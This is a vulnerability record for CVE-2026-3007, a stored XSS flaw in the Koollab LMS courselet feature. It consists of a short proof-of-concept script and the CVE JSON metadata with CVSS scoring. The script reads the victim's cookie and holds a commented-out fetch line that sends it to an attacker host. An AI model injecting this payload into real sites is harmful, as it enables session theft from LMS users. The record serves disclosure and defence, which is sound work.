CVE-2026-3007

<!-- PoC for Stored XSS in Koollab LMS courselet feature --> <!-- Inject this payload into a vulnerable input field --> <script> // Simulate stealing the victim's cookie var stolenCookie = document.cookie; console.log('Stolen Cookie: ' + stolenCookie); // Send data to attacker controlled server (hypothetical) // fetch('https://attacker.example.com/log?c=' + encodeURIComponent(stolenCookie)); alert('XSS Executed'); </script>

{"cve": {"id": "CVE-2026-3007", "sourceIdentifier": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "published": "2026-04-23T04:16:07.980", "lastModified": "2026-05-10T20:16:28.850", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Successful exploitation of the stored cross-site scripting (XSS) vulnerability could allow an attacker to execute arbitrary JavaScript on any user account that has access to Koollab LMS’ courselet feature."}], "metrics": {"cvssMetricV31": [{"source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-042/", "source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4"}]}}